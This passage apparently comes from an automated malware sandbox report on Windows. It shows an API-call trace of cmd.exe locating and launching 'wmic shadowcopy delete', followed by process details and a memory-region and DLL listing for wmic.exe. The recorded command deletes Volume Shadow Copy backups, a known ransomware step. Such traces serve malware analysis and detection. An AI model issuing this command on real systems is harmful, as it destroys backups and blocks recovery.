_String2="MD") returned 10 [0046.836] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0046.836] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0046.836] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0046.836] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0046.837] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0046.837] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0046.837] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0046.837] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0046.837] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0046.837] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0046.837] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0046.837] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0046.837] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0046.837] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0046.837] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0046.837] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0046.837] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0046.837] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0046.837] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0046.837] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0046.837] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0046.837] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0046.837] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0046.837] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0046.837] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0046.837] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0046.837] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0046.837] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0046.837] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0046.837] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0046.837] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0046.837] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0046.837] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0046.838] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0046.838] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0046.838] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0046.838] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0046.838] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0046.838] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0046.838] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0046.838] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0046.838] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0046.838] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0046.838] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0046.838] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0046.838] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0046.838] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0046.838] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0046.838] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0046.838] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0046.838] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0046.838] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0046.838] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0046.838] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0046.838] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0046.838] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0046.838] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0046.838] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0046.838] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0046.838] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0046.838] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0046.838] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0046.838] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0046.838] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0046.839] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0046.839] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0046.839] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0046.839] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0046.839] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0046.839] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0046.839] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0046.839] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0046.839] SetErrorMode (uMode=0x0) returned 0x0 [0046.839] SetErrorMode (uMode=0x1) returned 0x0 [0046.840] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x585dc8, lpFilePart=0x43f0d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x43f0d8*="Desktop") returned 0x25 [0046.840] SetErrorMode (uMode=0x0) returned 0x1 [0046.840] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.840] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0046.847] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a860640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.848] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.848] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.849] GetLastError () returned 0x2 [0046.849] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.849] GetLastError () returned 0x2 [0046.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.849] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.849] GetLastError () returned 0x2 [0046.849] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.849] GetLastError () returned 0x2 [0046.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.850] GetLastError () returned 0x2 [0046.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.850] GetLastError () returned 0x2 [0046.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0x586100 [0046.850] FindClose (in: hFindFile=0x586100 | out: hFindFile=0x586100) returned 1 [0046.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0xffffffff [0046.850] GetLastError () returned 0x2 [0046.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x43ee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x43ee54) returned 0x586100 [0046.850] FindClose (in: hFindFile=0x586100 | out: hFindFile=0x586100) returned 1 [0046.851] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0046.851] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0046.851] GetConsoleTitleW (in: lpConsoleTitle=0x43f34c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.851] InitializeProcThreadAttributeList (in: lpAttributeList=0x43f1d4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x43f29c | out: lpAttributeList=0x43f1d4, lpSize=0x43f29c) returned 1 [0046.851] UpdateProcThreadAttribute (in: lpAttributeList=0x43f1d4, dwFlags=0x0, Attribute=0x60001, lpValue=0x43f294, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x43f1d4, lpPreviousValue=0x0) returned 1 [0046.851] GetStartupInfoW (in: lpStartupInfo=0x43f190 | out: lpStartupInfo=0x43f190*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5719be, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.851] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.852] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.852] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.853] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x43f230*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x43f27c | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0x43f27c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x818, dwThreadId=0x814)) returned 1 [0046.921] CloseHandle (hObject=0x78) returned 1 [0046.921] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0046.921] GetEnvironmentStringsW () returned 0x584db8* [0046.921] FreeEnvironmentStringsW (penv=0x584db8) returned 1 [0046.921] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0057.626] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x43f170 | out: lpExitCode=0x43f170*=0x80041014) returned 1 [0057.626] CloseHandle (hObject=0x7c) returned 1 [0057.626] _vsnwprintf (in: _Buffer=0x43f2b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x43f17c | out: _Buffer="80041014") returned 8 [0057.626] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0057.626] GetEnvironmentStringsW () returned 0x582b18* [0057.626] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0057.626] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0057.626] GetEnvironmentStringsW () returned 0x582b18* [0057.627] FreeEnvironmentStringsW (penv=0x582b18) returned 1 [0057.627] DeleteProcThreadAttributeList (in: lpAttributeList=0x43f1d4 | out: lpAttributeList=0x43f1d4) [0057.627] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.627] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0057.627] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.627] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8541ac | out: lpMode=0x4a8541ac) returned 1 [0057.627] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.627] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8541b0 | out: lpMode=0x4a8541b0) returned 1 [0057.627] SetConsoleInputExeNameW () returned 0x1 [0057.627] GetConsoleOutputCP () returned 0x1b5 [0057.627] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a854260 | out: lpCPInfo=0x4a854260) returned 1 [0057.627] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.628] exit (_Code=-2147217388) Process: id = "37" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x49867000" os_pid = "0x818" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "36" os_parent_pid = "0x83c" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2393 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2394 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2395 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2396 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2397 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2398 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2399 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2400 start_va = 0xfc0000 end_va = 0x1022fff entry_point = 0xfc0000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\SysWOW64\\wbem\\WMIC.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmic.exe") Region: id = 2401 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2402 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2403 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2404 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2405 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2406 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2407 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2408 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2409 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2410 start_va = 0x200000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2411 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2412 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2413 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2414 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2415 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2416 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2417 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2418 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2419 start_va = 0x751e0000 end_va = 0x751e6fff entry_point = 0x751e0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2420 start_va = 0x751f0000 end_va = 0x7520bfff entry_point = 0x751f0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2421 start_va = 0x75210000 end_va = 0x75217fff entry_point = 0x75210000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2422 start_va = 0x75220000 end_va = 0x7522cfff entry_point = 0x75220000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2423 start_va = 0x75230000 end_va = 0x75264fff entry_point = 0x75230000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2424 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2425 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2426 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2427 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2428 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2429 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2430 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2431 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2432 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2433 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2434 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2435 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2436 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2437 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2438 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2439 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2440 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2441 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2442 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2443 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2444 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2445 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2446 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2447 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2448 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 